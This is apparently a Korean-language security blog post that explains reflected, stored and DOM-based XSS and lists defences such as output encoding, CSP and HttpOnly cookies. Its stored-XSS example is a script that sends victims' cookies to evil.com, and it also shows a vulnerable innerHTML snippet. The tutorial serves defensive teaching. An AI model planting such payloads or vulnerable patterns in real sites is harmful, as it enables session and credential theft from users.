보안

XSS(Cross-Site Scripting) 취약점

XSS(Cross-Site Scripting)는 웹 애플리케이션 보안에서 가장 일반적이면서도 위험한 취약점 중 하나입니다. 사용자의 입력을 제대로 필터링하지 않고 브라우저에 출력함으로써 악성 스크립트가 실행되며, 공격자는 이를 통해 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 공격을 수행할 수 있습니다.

1. XSS 취약점 개요

XSS(Cross-Site Scripting)는 공격자가 피해자의 브라우저에서 악성 스크립트를 실행하게 만들어 웹사이트의 권한을 탈취하거나 사용자 정보를 유출할 수 있는 웹 보안 취약점입니다.

주로 다음과 같은 상황에서 발생합니다:

  • 사용자 입력을 필터링하지 않고 그대로 HTML에 출력할 때
  • 신뢰되지 않은 데이터를 DOM에 삽입할 때
  • 외부에서 받아온 데이터를 HTML, JavaScript, CSS에 포함시킬 때

2. XSS 취약점 유형별 상세 설명

2.1 Reflected XSS (비저장형 XSS)

정의:
사용자의 요청(Request)에 포함된 악성 스크립트가 즉시 응답(Response)에 반영되어 실행되는 유형입니다.

특징:

  • 서버에 저장되지 않음
  • 공격자가 URL에 악성 스크립트를 포함시켜 피해자에게 전달
  • 주로 이메일, 메신저, 게시판 등에서 URL 클릭 유도

예시:

http://example.com/search?q=<script>alert('XSS')</script>

서버가 q 파라미터 값을 그대로 출력하면, 해당 스크립트가 실행됩니다.

2.2 Stored XSS (저장형 XSS)

정의:
공격자가 삽입한 악성 스크립트가 서버나 데이터베이스에 저장되어, 이후 페이지를 조회하는 사용자들에게 자동으로 실행되는 유형입니다.

특징:

  • 서버 또는 DB에 영구 저장
  • 여러 사용자에게 지속적으로 피해를 줄 수 있음
  • 게시판, 댓글, 사용자 프로필 등에서 자주 발생

예시:

<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>

이 스크립트를 게시글에 삽입하면, 그 글을 보는 모든 사용자의 쿠키가 공격자에게 전송됩니다.

2.3 DOM-based XSS (DOM 조작형 XSS)

정의:
서버를 거치지 않고 클라이언트 측 JavaScript가 DOM(Document Object Model)을 조작하는 과정에서 발생하는 XSS입니다.

특징:

  • 서버 응답이 아닌, 클라이언트 JavaScript 처리 과정에서 발생
  • URL 해시, 프래그먼트 등을 통해 자바스크립트가 직접 DOM을 수정할 때 발생

예시 (취약한 코드):

var userInput = location.hash.substring(1);  // #<script>alert(1)</script>
document.getElementById("output").innerHTML = userInput;

해당 페이지 URL에 #<script>alert(1)</script>를 붙여 방문하면, 해당 코드가 브라우저에서 실행됩니다.

3. XSS 방지 방법

  • 사용자 입력에 대한 입력 값 검증(Input Validation) 수행
  • 출력 시 HTML 이스케이프(Output Encoding) 처리 (<&lt;, >&gt; 등)
  • 자바스크립트에서 DOM 조작 시 textContent, innerText 등을 활용
  • HTTP 응답에 Content Security Policy (CSP) 적용
  • 사용자 세션 및 쿠키에는 HttpOnly, Secure, SameSite 속성 지정
  • WAF(Web Application Firewall) 및 보안 스캐너 도입

4. 구성도 예시

XSS 공격 흐름도

[사용자] → [악성 URL 클릭] → [웹 서버 응답] → [브라우저에서 스크립트 실행] → [사용자 정보 탈취]

또는, 저장형의 경우:

[공격자 → 게시판에 악성 스크립트 저장]  

[다른 사용자 → 게시판 열람]

[브라우저에서 악성 스크립트 실행]

[세션 탈취, 키로깅, 피싱 등]

5. 정리

  • XSS는 주로 사용자 입력값을 필터링 없이 출력할 때 발생
  • Reflected, Stored, DOM-based의 3가지 주요 유형이 있음
  • 유형에 따라 대응 방법이 다르지만, 공통적으로는 입력 검증 + 출력 인코딩 + CSP 적용이 중요
  • 웹 애플리케이션 개발 시 초기 설계부터 보안을 고려해야 함

zerg96

Recent Posts

노트북(윈도우)에서 아이폰 유선 테더링 하기

윈도우 운영체제의 노트북에서는 iPhone 유선 테더링이 잘 안되는 경우가 많습니다. 보통 iPhone의 드라이버가 설치가 안되있어서인…

3일 ago

오라클 래치(Latch)

오라클 데이터베이스의 성능을 논할 때, 내부적으로 발생하는 경합(Contention)은 피할 수 없는 주제다. 특히 다수의 프로세스가…

7일 ago

사장님도 3표, 나도 3표? ‘3%룰’ 완전 정복!

안녕하세요, 혹시 이런 생각해 본 적 없으신가요? "내가 투자한 회사는 누가 감시하고, 어떻게 운영될까?" 오늘은…

3주 ago

Vector Store(벡터 스토어)

'벡터 스토어' 완벽 가이드: AI 시대, 데이터의 새로운 심장을 만나다 IT 업계는 인공지능(AI)이라는 거대한 패러다임의…

3주 ago

Gemini CLI (재미나이 CLI)

1. Gemini CLI란 무엇인가요? Gemini CLI는 터미널 환경에서 직접 Gemini 모델과 상호작용할 수 있도록 만들어진…

3주 ago

과적합 (overfitting)

과적합은 머신러닝에서 학습용데이터를 과하게 학습하여, 실제데이터를 예측하지 못하는 현상을 말합니다. 인공지능(AI)의 학습 방법은 우리가 시험공부를…

1개월 ago